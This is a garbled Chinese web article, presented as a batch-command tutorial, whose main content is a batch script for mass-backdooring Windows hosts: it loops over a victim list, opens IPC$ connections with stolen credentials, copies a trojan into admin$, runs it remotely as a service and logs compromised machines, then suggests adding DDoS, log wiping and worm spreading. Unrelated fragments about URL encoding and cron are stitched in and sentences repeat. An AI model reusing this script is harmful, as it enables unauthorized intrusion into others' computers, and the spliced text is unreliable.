什么是批处理 批处理命令大全介绍【详解】(2)

而cultivate.bat无非就是用net use命令来建立IPC$连接，并copy木马+后门到victim，然后用返回码(If errorlever =)来筛选成功种植后门的主机，并echo出来，或者echo到指定的文件。

1. + url 中+号表示空格 %2b2. 空格 url中的空格可以用+号或者编码 %203. / 分隔目录和子目录 %2f4. 。cron 表达式代表了一个时间集合，使用 6 个空格分隔的字段表示。column_definitions:表示一个用逗号分隔的列定义(也称字段列表),每个字段包括一个字段名、字段类型和字段约束 如有多个约束，约束间使用空格分隔.。

代码雏形：

------------------- cut here then save as a batchfile(i call it door.bat) -----------------------------。----------------- cut here then save as a batchfile(i call it door.bat) --------------------------------。------------------------ cut here then save as .bat or .cmd file ---------------------------。

@echo off

@if "%1"=="" goto usage

for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k。@for /f "tokens=1 delims= " %%i in (3389.txt) do call hack.bat %%i。for /f "tokens=* delims= " %%i in (yxkmp4dir.txt) do call :ss "%%i"。

@goto end

:usage

@echo run this batch in dos modle.or just double-click it.

:end

------------------- cut here then save as a batchfile(i call it door.bat) -----------------------------。----------------- cut here then save as a batchfile(i call it door.bat) --------------------------------。------------------------ cut here then save as .bat or .cmd file ---------------------------。

------------------- cut here then save as a batchfile(I call it door.bat) -----------------

@net use \\%1\ipc$ %3 /u:"%2"

@if errorlevel 1 goto failed

@echo Trying to establish the IPC$ connection …………OK

@copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

@p***ec \\%1 c:\winnt\system32\windrv32.exe

@p***ec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

:failed

@echo Sorry can not connected to the victim.

------------------- cut here then save as a batchfile(i call it door.bat) -----------------------------。--------------- cut here then save as a batchfile(i call it main.bat ) ---------------------------。------------------------ cut here then save as .bat or .cmd file ---------------------------。

如果需要运行的程序不在指定的目录中，则dos系统一般采用在自动批处理文件中设置路径的方法来达到自动寻找此程序的目的。新版本生成的数据统一放在handcn目录(如果掌讯通安装在手机内存,则放在c:\nokia\handcn目录。如果你添加的新程序需要外挂动态链接库支持，可以存放在这个目录，其中的脚本会在 pe 启动时自动注册这些外挂库（某些不能采用 regsvr32 注册的则不能放在这个公用外挂目录，而必须放在你的程序所在目录）。

ddos的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.。ddos的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.批处理中可以使用参数，一般从1%到 9%这九个，当有多个参数时需要用shift来移动，这种情况并不多见，我们就不考虑它了。尚可扩展,例如:加入清除日志+。

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-101467-2.html